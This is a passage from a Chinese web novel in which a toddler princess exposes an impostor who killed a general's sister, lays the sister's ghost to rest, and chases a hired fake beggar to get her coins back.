她抹着眼泪,声音又尖又细,“妹妹此番遭此**,实在没脸见人了,也影响了哥哥的名声,现在只求一死……”
“哥哥,你就让妹妹去了吧!来世,妹妹再与你续兄妹缘!”
说罢,挣扎着又要往柱子上撞。
李将军一把抱住她,眼眶通红,声音都在发颤:“不要!这又不完全都是你的错啊……”
他转头,膝行到顾振宇面前,咚咚磕头:“顾将军!我妹妹虽然年幼骄横,但她断不会拿自己的名声开玩笑。”
“姑娘家的清白,比命都重要,她怎么可能用此来污蔑人?”
他抬起头,眼中满是哀求,但是语气却强硬了一丝:“将军,现在事情既然已经发生了,您要是这般不负责任就将她打杀了,就不怕被人诟病?”
“就算您不怕,您就不怕杨夫人会被人说善妒?”
顾振宇脸都绿了,一脚踹开他:“去**狗屁!”
许呦呦在他怀里,小拳头一挥:“去泥娘滴狗屁!”
父女俩异口同声,甚至脸上暴怒的神情,都一模一样。
顾振宇心头稍稍慰藉,把闺女往怀里搂了搂,正要开口——
小家伙已经从他呲溜下来,叉着小腰,瞪着李将军,奶凶奶凶地咆哮:“泥眼睛阔真够瞎滴!泥还真把她当妹妹?”
李将军一愣。
许呦呦小手一指李芷兰:“泥以为她似虾米好东西?她似泥妹妹?她似个屁啊!”
李芷兰脸色一白,嘴唇哆嗦起来。
“乃乃乃,本郡主告诉泥,她似谁。”许呦呦眯着眼,上上下下打量着李芷兰。
李芷兰被她看得心里发毛,下意识往后缩了缩。
就在这时,门口传来一阵急促脚步声。
庆王妃挺着肚子,急匆匆地走了进来,庆王在后面小心翼翼护着,嗓子眼都透着担忧的:“夫人,夫人,你慢点,
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慢点……”
后面还跟着两个侍卫,押着一个浑身是伤的男人。
“婉云,婉云,你没事吧?”庆王妃一脸担忧,风风火火地奔向杨婉云。
杨婉云摇摇头,冲她温和一笑。
庆王妃这才松了口气,转头看见许呦呦,眼里满是心疼:“呦呦,乖宝,别气别气哈,姨姨是来给你送份大礼的。”
“我就知道,这绿茶要作妖,早命人守着了,没想到啊,还真有大惊喜!”
庆王妃往旁边一闪,庆王一脚把那男人踹了过来。
“砰!”那人趴在地上,浑身是伤,脸上青一块紫一块,衣服上还有斑斑血迹。
李将军低头一看,愣住了:“陈怀?你……你怎么变成这样了?”
陈怀趴在地上,浑身发抖,满脸惶恐,连头都不敢抬。
而李芷兰在看到他的瞬间,脸色骤变,连哭都忘了,身子一僵,眼神躲闪。
许呦呦眼睛一亮,小短腿“噔噔噔”跑到陈怀面前,奶声奶气地开腔:“绿茶茶,介银,泥认识吧?”
“乃乃乃,把他滴头抬一抬,让她好好康康,她滴好朋友呀!”
“她俩阔似最喜欢,在一起玩脱脱游戏了,玩得那叫一个花呀……”
“本郡主就问泥,惊不惊喜,意不意外呀??”
李芷兰的脸“刷”地白了,嘴唇哆嗦着,声音都变了调:“你……你胡说!他……他只是我哥哥的亲信而已!我最多就跟他照过面,我跟他并不相熟!”
她越说越激动,声音又尖又细:“小郡主,饭可以乱吃,话可不能乱说!您还是个孩子,就这般信口雌黄,没想到杨夫人平日就这样教育小郡主的?”
杨婉云的脸色,瞬间沉了下来。
顾振宇握起的拳头,也咯吱作响。
庆王妃要不是被庆王抱住,气得差点冲上去甩她两耳光:“你算什么东西!也敢教训杨夫人?”
许呦呦更是小脸一黑,小手一挥:“冬梅姐姐,先给本郡主掌她嘴!”
“窝凉似镇国夫人,窝似郡主!她以下欺上,就先打她二十嘴巴子!打完本郡主再给她个大惊喜!”
第103章 死到头顶了,还嘴硬
“是!”冬梅上前,一把揪起李芷兰的衣领。
“你……你……”李芷兰话还没说完——
“啪!”
冬梅可是习武之人,这一巴掌用了十成十的功力。
李芷兰脑袋一歪,嘴角立刻渗出血来。
“啪!啪!啪!”
一巴掌接一巴掌,又快又狠,跟放鞭炮似的。
李芷兰的惨叫声都来不及喊出来,就被扇得晕头转向。
一旁的李将军嘴唇动了动,想说什么,但看看小郡主那张气鼓鼓的小脸,和众人脸上的愤怒,又闭上了嘴。
二十耳光打完,李芷兰的脸肿得跟猪头似的,嘴角淌血,眼睛只剩一条缝,哪还有半分刚才那楚楚可怜的样子?
她捂着脸,哀嚎都只能发出“呜呜”的声音,泪眼婆娑地看着李将军,那眼神,要多委屈有多委屈。
许呦呦满意地点点头,转头看向趴在地上的陈怀:“泥还想跟介猪头,玩脱脱游戏不?”
陈怀吓得浑身一哆嗦,脸色灰败。
李将军赶紧把李芷兰扶起来,眼里闪过心疼、隐忍、疑惑……
许呦呦叉着小腰,仰着下巴:“乃,泥介个睁眼瞎,本郡主今天让泥屎个明白!”
她小胖手一指李芷兰:“泥以为,她真似泥妹妹?泥妹妹要似几道,泥认贼为妹,气的得从乱葬岗跳肥来。”
李将军浑身一震,不可思议地看着许呦呦:“小……小郡主,您……您这话是什么意思?”
“窝就嗦泥瞎吧!”许呦呦翻了个白眼,奶声奶气却字字扎心,“字面意思,都听扒懂?”
“就是她——杀了泥妹妹!泥辣个走丢地妹妹!”
李将军的脸“刷”地白了,猛地低头看向怀里的李芷兰。
李芷兰拼命摇头,泪如雨下,嘴里含含糊糊地喊:“不……不是的……哥哥……她污蔑我……她污蔑我啊……”
许呦呦看都懒得看她,转头一脚踢在陈怀身上:“泥嗦!似扒似!”
“别给本郡主装屎!”许呦呦小手一招,“大黄!给他点红色康康!”
大黄“嗖”地窜过来,龇牙咧嘴,喉咙里滚出低沉的咆哮。
那嘴里的獠牙,比刚才对着怪物的时候还长,口水滴答往下淌,眼睛里冒着凶光,仿若一只刚从地狱爬出来的恶犬。
陈怀吓得魂飞魄散,连滚带爬往后缩:“别吃我,别吃我!我说,我说,我什么都说!”
他跪爬到李将军面前,“咚咚咚”地不停磕着头:“将军!属下……属下对不起将军啊!都是属下鬼迷心窍,被她给骗了啊!”
他声音发抖,语无伦次:“当初您找回小姐的时候,没来得及将她接回,就去了前线,您吩咐属下前去接应。半途中……半途中……”
他指着李芷兰,满脸悔恨:“属下意外救下了她,就被她……被她迷惑了,就把接小姐的实情告诉了她!”
李将军的脸,一点一点沉下去。
陈怀继续说:“后来,我们刚接到小姐,还未来得及带回来,小姐突然就**!”
“而且……而且一同前去的几个兄弟,在客栈中,都离奇**!”
“属下……属下心里害怕极了!她……她就迷惑属下,她长得确实与小姐倒有几分相似,索性就让她假扮小姐,回来与您认亲!”
李芷兰的脸色,已经白得跟纸一样。
陈怀声音越来越低:“本来这一切都很顺利,将军您也从未怀疑。可就在前几日……她又找上我,让我帮她……”
“她说她要当新的庆王妃!她让我帮她除掉庆王妃!她说只要庆王妃**,她就有机会……到时候,便带着我回京,一起享受荣华富贵!”
“将军,属下该死啊!是属下被迷了心窍,害了将军,害了小姐,害了那些兄弟!”
他说完,趴在地上,浑身抖得像筛糠。
全场死寂。
李将军一把推开怀中的李芷兰,那眼神,像在看一个陌生人。
李芷兰拼命摇头,泪如雨下,嘴里含含糊糊地喊:“不……不是的……哥哥……她污蔑我……她污蔑我啊!”
“陈怀,对,陈怀一定是被他们买通了!他们是
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想置我于死地,就什么脏水都往我身上泼!”
她哭得撕心裂肺,那模样,要多委屈有多委屈。
李将军的手松了又紧,紧了又松,眼中闪过一瞬间的犹豫。
许呦呦气得小脸都绿了:“尼玛!屎到头顶了,还嘴硬!”
“还泼泥脏水?本郡主嫌泥,污染脏水……”
她叉着圆滚滚的小腰,瞪着李将军:“李将军,泥妹妹身上,阔有虾米特征?”
李将军一愣,下意识回答:“回禀小郡主,我妹妹出生的时候,右臂上有一朵梅花胎记,跟我娘一模一样。”
“当时认亲的时候,我亲眼看到的,她手臂上确实有,这点我确定。”
许呦呦翻了个白眼:“所以嗦泥傻呢!她那似虾米梅花胎记?”
她小手一指:“冬梅姐姐,把她衣袖打开!”
“是!”冬梅上前,一把抓住李芷兰的胳膊。
李芷兰疯了一样挣扎:“放开我!放开!你们不能这样对我,是堂堂将军府的小姐,你们不能……”
冬梅三两下,就撸起她的袖子。
竟然真有一朵梅花图样出现在众人面前,栩栩如生,在烛光下还泛着淡淡的光泽。
杨婉云淡淡开口:“去打盆水来。”
很快,一盆清水端了上来。
冬梅拿起帕子,蘸了水,往那梅花上使劲一擦——
梅花糊了。
再擦。
干干净净。
李芷兰的胳膊上,什么都没有了。
李将军只觉得眼前一黑,身子晃了晃,差点站立不住。
他扶住桌子,指甲都掐进了木头里。
“你……”他指着李芷兰,声音发抖,眼里满是愤恨,“是你害了我妹妹,冒充她,骗了我这么久……”
“我待你不薄啊,自你回来,日日都在补偿你,你为何要骗我?”
“你……你该死!!!”
他的手按在佩剑上,“噌”地拔出剑来,寒光一闪,就要往李芷兰身上刺——
“铛!”
顾振宇一个转身,一脚踢飞了他手中的长剑。
第104章 他是好银
“李将军,”顾振宇按住他的肩膀,声音低沉,“她是该死,但你是将军,不能就这样杀了她。国有国法,把她交给官府,她一样逃不了。”
李将军的手在不停发抖,胸膛剧烈起伏,眼里满是杀意。
他强压下心头的熊熊燃烧的怒火,转过身吩咐:“来人,把他们拖下去,送交官府。”
侍卫上前,把瘫软的李芷兰和趴在地上的陈怀拖了出去。
李将军站在原地,看着她的背影消失在门口,忽然觉得浑身力气都被抽空了。
他扶住桌子,慢慢蹲下去,捂着脸,肩膀剧烈地抖动。
顾振宇走过去,轻轻拍了拍他的肩膀。
没有说一句话,但那手掌的力道,却比任何安慰的话都管用。
李将军深吸一口气,站起来,冲庆王夫妇,顾振宇和杨婉云深深鞠了一躬,又冲许呦呦鞠了一躬:“多谢王爷王妃,多谢小郡主,多谢将军,多谢夫人。臣……告退。”
他转身,脚步踉跄地走了出去。那背影,孤零零的,像一棵被风吹弯的老树。
当天夜里。
月光如水,洒在花园里。
许呦呦让冬梅抱着她,悄悄溜到花园。
远远就看见一团火光在晃动,走近了,才看清是李将军跪在地上,面前烧着一堆灰烬。
火光映在他脸上,明明灭灭。
他低着头,肩膀一抽一抽的,发出沉闷的低泣声。
“妹妹……是哥哥对不起你……”他的声音沙哑得几乎听不清,“哥哥眼瞎心盲,竟然将仇人当做是你……哥哥对不起你……”
“都是哥哥不好,都怪哥哥,当年若不是我贪玩,也不会把你弄丢。”
“千辛万苦,好不容易找到你,若不是我用人不善,你也不会再遭如此厄运,都是我的错啊……妹妹,都是我的错啊……”
说着说着,又哭起来,一个大男人,哭得跟个孩子似的。
许呦呦站在他身后,“泥妹妹,她米有走。她一直就在介里。”
李将军猛地抬起头。
冬梅在旁边,下意识往四周看了看,只觉得阴风阵阵,脖子后面凉飕飕的。
她默默咽了口唾沫,往许呦呦身边挪了挪。
李将军眼中却升起一丝亮光,声音都在发抖:“小郡主,您……您说的是真的吗?”
随即,又很难过,“妹妹,她……她是不是怨我?所以不愿去投胎……”
许呦呦摇摇头:“扒似。她似放不下泥,她心里执念太深咧。”
“泥要见见她嘛?”
李将军愣住,嘴唇哆嗦着:“这……这真的可以吗?”
许呦呦小手一挥。
月光下,一道缥缈的身影慢慢浮现出来。
那是一个十五六岁的少女,穿着素白的衣裙,长发披肩,面容清秀。
她站在火光旁边,被映得半透明,嘴角含着淡淡的笑。
“妹妹……”李将军的声音哽在喉咙里。
他伸出手想去抓,却只抓到了一把空气。
那身影就在他面前,看得见,摸不着。
少女蹲下来,看着他,眼眶也红了:“哥,我从未怪你。当年是我自己轻信歹人,才走丢的,跟你没关系。”
李将军拼命摇头,泪流满面:“不是的……都是哥哥不好,都怪哥哥……”
少女急了,伸手想去擦他的眼泪,手却穿过了他的脸,“哥,真的不怪你。你找了我十几年,我从没怨过你。”
“自打我被害后,一直停留在你身边,想保护你。”
“可是我一点办法都没有,只能日日徘徊在这里……”
李将军哭得说不出话,一眨不眨的泪眼望着虚影。
少女却笑了,笑得释然:“哥,现在一切都解决了,我心已安,我要走了……”
许呦呦站在旁边,看着她慢慢变得透明,奶声奶气地开口:“去吧。他似好银,他从泥丢失后,就抓了很多银贩子,救了好多小盆友。”
“所以他身上是有功德滴,这也护着泥能留在他身边介么久。”
少女转头看她,深深鞠了一躬。
许呦呦摆摆手:“去叭,不然,泥就入不了轮回咧。”
她小手一挥,那道缥缈的身影就像雾一样,慢慢散了
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李将军跪在地上,看着那抹虚影消散,心头钝痛,久久回不过神。
过了好一会儿,他才慢慢转过来,对着许呦呦珍重叩拜,额头磕在地上,声音哽咽:“臣叩谢小郡主!”
许呦呦小手一背:“泥似个好滴,泥放心哈,窝会让她投个好胎滴!”
另一边正在被迫熬药的司命,狠狠打了个寒颤,只觉一股凉风,从脖颈间穿过。
第二日一早,阳光透过窗棂洒进正厅。
许呦呦正坐在桌前,一手抓着一个肉包子,吃得腮帮子鼓鼓囊囊,小嘴油汪汪的。
冬梅在旁边忙着给她擦嘴。
忽然,一阵旋风从门口刮进来。
“小祖宗!小祖宗耶!我……我来了!!”
玄清道长连滚带爬冲进来,跑到许呦呦面前。
“扑通”一声跪在地上,膝盖磕得地板都震了一下。
许呦呦吓得一哆嗦,手里的包子差点飞出去。
她瞪大眼睛,小嘴塞得满满的,却毫不客气地吼:“泥个臭道屎!泥要干虾米?”
玄清道长跪在地上,两眼放光,满脸堆笑,搓着手:“小祖宗,我……我是来拜您为师的!”
许呦呦竖起一根手指头:“扒要!窝跟臭道屎,只能立一个!”
“不不不!”玄清道长赶紧拍了拍身上崭新的衣裳,“小祖宗,您放心,我已经叛出师门了,不当道士了,以后只当您徒弟!”
“那也扒行!”她小嘴一撇,“窝有徒弟,教他一个已经很累咧!再教泥介么个米用的,阔不似要累屎窝呀!”
杨婉云在旁边看着,忍不住劝道:“道长,您师兄同意了?”
玄清道长一听,精神头更足了:“他同不同意不要紧!昨晚我把我师父召回来了!”
“他老人家哭着把我揍了一顿,虽然骂我不孝,骂我大逆不道,骂我丢尽了道门的脸……”
“但是,当他飘过来看到小祖宗后,他比我还要急!”
“催着我赶紧来拜师!说我要是不来,他老人家就从地下爬出来把我腿打断!”
杨婉云:……
第105章 糖银卖光了
小姑娘依然头也没抬:“泥们臭道屎,真似一个比一个米出息。”
玄清道长跪在地上,眼巴巴地看着她,见小姑娘怎么都不松口,眼珠子一转。
“小祖宗,您要是实在不收我,”他眯着眼,满脸讨好,“我也给您当小厮!就像那个阿司一样!”
许呦呦“噌”地抬起头,“虾米玩意?泥想要分窝月银?”
“不不不不!”玄清道长吓得连连摆手,“打死我也不敢啊!小祖宗,我给您当小厮,像他一样,给口饭吃就行!”
他偷偷瞄了许呦呦一眼,又补了一句:“实在不行……我倒贴!”
说着,他从怀里颤颤巍巍掏出两颗碎银子,“小祖宗,这是我全部家当了……”
哎,要不是着急跟那被骗的只剩裤衩子的师兄划清界限,把钱全给了他还债,自己至于穷到这般被人嫌弃的地步嘛。
许呦呦面上不显,小手倒是诚实地将那两颗碎银装进了腰间的小荷包里。
玄清道长一看,赶紧补充道,“小祖宗,虽然我不知道您跟道门之间,到底有什么恩怨。”
“但是您想啊,若是我能给您当小厮,对道门来说,是不是挺大的耻辱?”
小姑娘一听,神色立马松动了,“好吧,只要能辱他,最好辱屎他,窝就干!”
于是,玄清道长屁颠屁颠的成了许呦呦的小跟班。
“玄清啊,窝要次瓜子!”
“来了来了,我给您剥好哈!”
“玄清啊,窝有点累了……”
“哎呦,那您坐在这,我给您捏捏哈,我可是按的一手好摩。”
“玄清啊,窝又渴了……”
“玄清啊,窝想次城东的牛肉饼……”
“玄清啊,哄窝碎觉……”
……
玄清啊,玄清啊……
玄清道长,就这样魔怔忙了整整一天。
一直到晚间,小姑娘这才想起自己的另一个小厮,“冬梅姐姐,怎么一天都米康见阿司了?”
冬梅皱着眉头,略显担忧地说道,“小郡主,阿司从昨晚开始,就把自己关在房里炼丹药,炼了一天一夜了。”
“只是,他的状态,让人……让人挺不放心的,坐在那,一会儿哭,一会儿笑,一会儿又在那自言自语的……”
冬梅又左右看了看,压低了声音,“小郡主,奴婢瞅着,他……他是不是被什么不干净的东西,附体了?”
许呦呦摆了摆小手,“没虾米事,他……他就似,受了点刺激吧!”
“对了,冬梅姐姐,窝凉把窝滴碎银,都捐给国库咧!”
小姑娘笑眯眯地拍着腰间小荷包,因为她娘以她的名义做了好多好事,为她积攒了很多功德。
她的神力,才得以一点一点恢复。
“凉虽然悍了点,但对窝似真好,窝把辣个白瓷瓶送给她,还把阿司炼滴美容丹药,全送给她了,凉竟然奖励了窝十个铜板。”
“早知道阿司滴丹药辣么值钱,泥明天让他再多炼点。”
“将军爹爹嗦,明天就肥去了,阔太好咧,来滴路上,窝都康过了,正好有两家卖糖银滴。”
小家伙激动地拍了拍小荷包,伸出三根手指头,“介次,窝要大方一点,给寄几买两根糖银!”
宋城的瘟疫终于散了。
街道上那些紧闭的门窗,一扇扇打开,阳光洒进去,暖融融的。
空气中那股腐臭的气息被风吹散,取而代之的是雨后泥土的清新。
顾振宇站在城门口,看着最后一批被邪祟控制过的百姓恢复正常,长长地舒了口气。
他转身,大步流星走回将军府,推开院门,就看见那个小团子已经整装待发——
“爹爹!肘肘肘!快肘!”许呦呦冲他招手,小脸上写满了迫不及待,“窝滴糖人在向窝招手咧!”
顾振宇哭笑不得,一把将她抱起来,架在脖子上:“走,回家!”
大军浩浩荡荡启程。
来时忧心忡忡,去时马蹄轻快。
大军路过驿站。
许呦呦拉着冬梅的手就往糖人摊跑,“冬梅姐姐,快点快点!”
小短腿倒腾得飞快,冬梅在后面跟着,嘴角忍不住上扬。
糖人摊前,许呦呦踮起脚尖,眼睛亮晶晶地盯着草把子。
竟然……空荡荡的。
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一根糖人也没有。
“虾米?”她瞪大眼睛,不敢置信,“糖银卖光辣?”
卖糖人的老大爷挠挠头,一脸歉意:“小姑娘,你来晚了,今儿的糖人,一大早被人包圆了。”
许呦呦只觉得一道晴天霹雳劈在脑门上。
她愣在原地,小嘴张着,半天没合拢。
然后转身,拉着冬梅就跑:“下一家!下一家肯定有!”
半响后。
“虾米玩意?也卖光啦??”
许呦呦站在第二个糖人摊前,生无可恋的看着光秃秃的草把子。
卖糖人的老妇人看着她那副要哭不哭的小模样,心疼得不行,赶紧解释:“小姑娘,别难过。”
“最近糖人刚推出了新款,添加了各种水果口味,草莓的、苹果的、蜜桃的……造型也更新了,不光有花鸟鱼虫,还有小仙女、小仙童,可好看了!”
许呦呦的眼泪已经在眼眶里打转了。
新款?
水果口味?
小仙女造型?
她一样都没吃到啊!!!
“嗦以,也被银一口气全买辣?”她的声音都在发抖。
老妇人点点头:“是啊,一大早来了一队人,把整条街的糖人都包圆了。也不知道是哪家办喜事,这么大方。”
小姑娘只觉得天都塌了。
她垂头丧气地往回走,小脑袋耷拉着,两个小揪揪都没了精神。
冬梅在旁边小心翼翼地跟着,大气都不敢出。
走出去十几步,小家伙忽然停下来,仰天长啸:“到底似谁?踏马的,肿么比窝还馋咧?”
“尼玛!她肿么介么馋呀!”她跺着脚,小拳头攥得紧紧的,“一个都扒给窝留!一个都扒给窝留啊!!!”
冬梅赶紧蹲下来哄她:“小郡主,您别难过,这只是暂时的。”
“新款受欢迎嘛,大家都想尝尝。等回了都城,奴婢陪您出去买,好不好?”
许呦呦吸吸鼻子,才勉强点点头。
然后一步三回头地往驿站走。
边走边嘟囔:“窝就靠这点指望活着咧……连这点指望都不给窝留……窝活着还有虾米意思……”
第106章 人间险恶是必修课
冬梅跟在后头,想笑又不敢笑,憋得肩膀直抖。
许呦呦耷拉着脑袋,让冬梅抱着往回走。
忽然,她看见路边坐着两个人——一个头发花白的老婆婆,身上穿着打满补丁的旧棉袄,佝偻着背。
身边还靠着一个五六岁的小男孩,瘦得跟豆芽菜似的,小脸蜡黄,嘴唇干裂,一双眼睛却亮亮的,怯生生地看着来往的行人。
老婆婆颤颤巍巍地伸出手,冲着每一个路过的人喊:“求求你们了,行行好吧,赏口吃的吧……老婆子带着孙子,两天没吃东西了……行行好吧……”
声音沙哑,有气无力,像风中的残烛。
许呦呦的眼睛定住了。
老婆婆又喊:“小姑娘,行行好,救救老婆子吧……我这孙子饿得直哭,我实在没办法了……求求您了,赏我们一口吃的吧……”
小男孩缩在老婆婆怀里,瘦得肋骨根根分明,小肚子瘪瘪的,嘴唇上还有干裂的血痕。
他不敢看人,只是低着头,偶尔偷偷抬一下眼皮,又赶紧缩回去。
许呦呦的小眉头皱了起来。
“冬梅姐姐,放窝下乃……”
许呦呦径直走到老婆婆面前。
老婆婆抬头看见她,浑浊的眼睛里闪过一丝光,颤巍巍的又要开口——
许就见小家伙已经伸手去摸腰间的小荷包了。
只见她攥着荷包,小手紧了又松,松了又紧。
水果味的糖人……
小仙女造型的糖人……
她一个都没吃过咧!!
老婆婆见她犹豫,又叹了口气,声音更低了:“小姑娘,你要是为难就算了……老婆子再等等,总会有人……”
“谁嗦窝为难了?”许呦呦小嘴一撅,把荷包打开,倒出那十个铜板。
然后一咬牙,把全部铜板塞进老婆婆手里。
“呐!拿去!给泥和弟弟买好次的!”她咬牙切齿地小手一挥。
老婆婆捧着那十个铜板,手都在抖:“这……这太多了……小姑娘,你……”
“多虾米多!”许呦呦别过脸去,不看那铜板,“次饱了肚子才要紧!”
老婆婆的眼泪一下子就涌了出来,拉着小男孩对许呦呦千恩万谢。
“窝凉嗦,帮助别银似快乐滴,窝……窝要帮泥们,找快乐!”
“介样,窝滴快乐,马上就能来咧……”
老婆婆愣住,嘴唇哆嗦着,想说什么,许呦呦已经走远了。
冬梅赶紧跟上,回头看了一眼那祖孙俩,心里酸酸的。
她家小主子,嘴上说舍不得,掏钱的时候比谁都干脆。
十个铜板,一个都没留。
回到驿站,许呦呦垂头丧气地走进院子。
玄清道长迎了上来,“小祖宗,您别难过了。等回了都城,我去给您买!咱也把整条街都包了!”
许呦呦白了他一眼:“泥有钱吗?”
玄清道长脸上的笑容瞬间僵住,讪讪地缩了缩脖子:“……没有。”
“那泥嗦虾米废话?”
司命在旁边幸灾乐祸地笑。
玄清道长瞪他一眼:“笑什么笑,你有钱?”
司命笑着的脸,也瞬间僵住了。
两人对视一眼,齐齐叹了口气。
这年头,当小厮也不容易。
直到晚饭,许呦呦扒拉了两口,就蔫蔫地回了房间。
冬梅给她洗漱完,把她塞进被窝,小家伙翻了个身,抱着大黄,很快就睡着了。
只是睡梦中还在嘟囔:“糖银……窝滴糖银……到底似谁……比窝还馋咧……”
冬梅守在门口,哭笑不得。
院子里,刘嬷嬷正带着几个丫鬟小厮,把东西全部搬进来。
杨婉云站在旁边,轻声吩咐:“每人两个,上到将领侍卫,下到丫鬟小厮,一个都不漏哈。”
刘嬷嬷点点头,打开箱子——里面满满当当,全是糖人!
各种造型,各种口味,草莓的、苹果的、蜜桃的、葡萄的,花鸟鱼虫、小仙女、小仙童……
在月光下晶莹剔透,甜滋滋的香气飘得满院子都是。
“夫人真是厉害!”刘嬷嬷竖
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起大拇指,“奴婢一早带人,把整条街的糖人都包了,那卖糖人的老大爷还以为咱们家办喜事呢!”
杨婉云嘴角弯了弯:“分去吧,悄悄的,别让呦呦看见。”
“是!”
很快,整个驿站的人都分到了糖人。
将领们啃着糖人,面面相觑,想笑又不敢笑。
侍卫们躲在角落里舔,生怕被小郡主撞见。
丫鬟小厮们更是激动,一个个偷偷摸摸地吃,跟做贼似的。
司命捧着两个糖人,眼睛都直了——一个是他最爱的蜜桃味,造型是个胖乎乎的小仙童;另一个是苹果味,是个笑眯眯的小仙女。
他看看左边的,又看看右边的,咽了咽口水。
“该说不说,确实好吃啊……”
“啊哈哈哈啊哈哈哈……甜!真甜!”
顾振宇站在廊下,一手捏着两个糖人,一手拿着荷包,一脸愁容地看着杨婉云。
“婉云,这……这是不是不大好?闺女要是知道了那老太婆是我找人演的,我这爹,是不是也就到头了……”
杨婉云白了他一眼:“那你就让她去买糖吃吧。前几日牙疼得她哭了一夜,你忘了?”
顾振宇张了张嘴,又闭上。
那晚呦呦牙疼,哭得撕心裂肺,他可是担惊受怕了一整夜啊。
“再说了,”杨婉云望着许呦呦房间的方向,目光温柔又坚定,“人间险恶是必修课,逃不掉,倒不如让她学会笑着去上课……”
顾振宇叹了口气,默默把糖人和荷包收进袖子里。
刘嬷嬷拿着两个糖人,冲冬梅招手:“快,快把它吃掉!千万别让小郡主知道!”
冬梅哭笑不得的接过糖人,坐在门口,看着屋里睡梦中还在骂骂咧咧的小姑娘,心里五味杂陈。
“狗东西……到底似谁……比窝还馋……窝滴糖银……呜呜呜……”
冬梅咬了一口糖人,甜得眯起眼睛。
嗯,确实好吃呀!!
皎洁的月光洒下来,照在一院子吃糖人的众人身上……
第107章 泥还窝铜板
第二日一早,天刚蒙蒙亮,顾振宇就命令部队整装待发。
许呦呦被冬梅从被窝里捞出来,迷迷糊糊穿上衣裳,塞进马车。
整个人蔫哒哒地趴在车窗上,双目无神地看着窗外。
杨婉云心疼地给她理了理头发:“呦呦,还难过呢?”
许呦呦摇摇头,又点点头,小嘴一瘪:“凉,窝滴铜板……”
“铜板没了可以再攒,糖人没了可以再买。”杨婉云轻轻捏了捏她的小脸,“咱们呦呦不是还帮了别人吗?老婆婆和弟弟能吃上饭了,多好。”
小家伙吸吸鼻子,没说话。
哎!算了,肥去就让阿司摆摊算命吧,多挣点铜板,她就能买上最新款的糖人了!
正想着,马车忽然慢了下来。
前方路边蹲着一个人。
只见他破衣烂衫,腿边放着一个破碗,正一边低着头吃着鸡腿,一边将盘着的奶**解开。
一边吃一边咧嘴笑……
许呦呦随意瞟了一眼——
然后。
“停!!!停车!!!”
小家伙一声尖叫,吓得车夫一哆嗦,缰绳都差点扔了。
马车还没停稳,许呦呦已经“嗖”地从车窗翻了出去,小短腿一落地,就跟上了发条似的往前冲。
“小郡主!”冬梅吓得魂飞魄散,从马车上跳下来就追,“您……您这是要去哪?”
“诶诶诶,您慢点跑啊,奴婢快追不上了!”
许呦呦头也不回,小短腿倒腾得跟风火轮似的,边跑边着急地喊着:“冬梅姐姐,泥扒用管窝!介事,窝跟他米完!”
“竟然欺骗小孩子!敢骗窝……窝……窝去跟他拼了!”
“啊啊啊啊!狗东西!泥还窝铜板!”
“原来泥压根就不似乞丐!泥……泥不但不似乞丐,泥还似个男银!!”
“泥她凉滴!敢骗窝!泥要屎呀!!”
“窝本来就很穷啊,辣十个铜板,就似窝滴命呀!”
“泥以为泥似个男银,窝就认不出泥辣?泥就似化成灰,窝都认识泥!”
“泥给窝站住!不然,今天不似泥屎,就似窝活……”
路边那个乞丐正美滋滋地数着啃着鸡腿,听见动静,一抬头,就看见昨天那个大方给了自己十个铜板的小团子正朝这边冲过来。
这小不点,奶凶奶凶的,多可爱啊。
昨天给了十个铜板,今天不会又要给吧?
他笑眯眯地蹲在那儿,等着小财神爷送钱来。
不对!!
等等!!
她说谁是男人??
谁骗她钱??
她要让谁**??
某乞丐低头看看自己的装扮!
**!
这不就是我嘛!!
乞丐脑子“嗡”的一声。
完了,被认出来了。
他“噌”地站起来,手里的鸡腿掉了,也顾不上捡,拔腿就跑。
许呦呦小短腿一蹬,追了上去:“别跑!泥给窝站住!”
乞丐跑得飞快,一边跑一边回头看她——
那小团子追得那叫一个凶,小脸气得通红。
他心里那个悔啊,早知道就不蹲在路边啃鸡腿瞎显摆了,这不是自投罗网吗?
可不能被这小东西追上,不然他在这一片就别混了。
他在这一片熬了这么多年,好不容易站稳脚跟,也算有了一些积累,昨儿好不容易接了个大单——有人花钱让他扮乞丐,骗一个小姑娘的铜板。
两头拿钱,这种好事,搁谁谁不爱?
可谁知道,这小丫头的眼睛这么毒!
算了。
先保命再说!
他一咬牙,加快了脚底的速度。
于是,一大早,小镇的街道上就出现了这样一幕——
一个破衣烂衫的乞丐在前面狂奔,鞋都跑掉了一只,头发在风中飞舞,跟个疯子似的。
后面跟着一个粉雕玉琢的小团子,小短腿倒腾得飞快,边追边骂,骂得那叫一个奶凶奶凶。
“泥站住!泥给窝站住!”
“来啊,有本事你追上我啊……”
“泥骗窝铜板!泥还窝铜板!”
“我……我没骗你!那是你自愿给的!”
“泥……泥扒似个东西啊,连小孩子都骗!”
“我……我那是为了生
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计……”
“生计泥娘个腿儿!泥还窝铜板!”
两人一前一后,绕着镇子跑了整整两圈。
路边的行人纷纷驻足,伸长脖子好奇地看着这一幕。
“这是咋回事?那小姑娘追那乞丐干啥?”
“听那小姑娘喊,好像是那乞丐骗了她铜板。”
“骗小孩钱?这也太缺德了!”
“可不是嘛!那小姑娘看着才一两岁,那乞丐也下得去手?”
“那乞丐跑得倒快,可那小姑娘追得更快!这小短腿,倒腾得比风火轮还快!”
“你别说,那小姑娘奶凶奶凶的,还挺可爱。”
众人纷纷点头,议论纷纷。
乞丐跑得上气不接下气,腿都软了。
他回头一看,那小团子还在追,而且越追越近。
他心里那个苦啊,这小东西是属狗的吗?怎么这么能追?
围观群众,实在看不下去了,不知是谁,伸出脚,乞丐“噗通”一声,摔了个狗吃屎!
许呦呦刚好追了上来,叉着小腰,喘着粗气:“跑啊!泥再跑啊!”
“阔累屎窝咧,窝……窝跟你拼啦!”
小家伙“嗖”地一声,蹦了起来,恶狠狠地跳在乞丐身上。
小姑娘掏出怀中的鸡毛掸子,狠狠地抽着,一边抽,一边骂,
“泥介个屎骗子,还窝铜板,辣阔似窝滴买命钱啊,窝就靠辣两个糖银吊着呢,泥倒好,把它全骗走咧……”
“屎骗子,该屎的屎骗子……泥把窝铜板,拿出来……今天泥要似不还给窝,窝就抽屎泥!”
小姑娘的鸡毛掸子轮起来抽啊!
“诶诶诶,轻点……哎呦……小祖宗,那钱,可是你自己自愿送给我的,又不是我抢的……”
乞丐痛的嗷嗷直叫,心里那个绝望啊,活了一把年纪,从未见过如此凶残的宝啊!!
“放泥凉滴狗屁!!”
“窝滴铜板,似给真正滴乞丐,窝辣似就好银,做好事!”
“阔泥似好银嘛?泥……泥就似个畜生,不,泥还不如窝滴大黄。”
“泥……泥还窝滴铜板……”
第108章 窝要报仇!
围观群众这才看明白,原来是这乞丐,骗了人家小姑娘的钱。
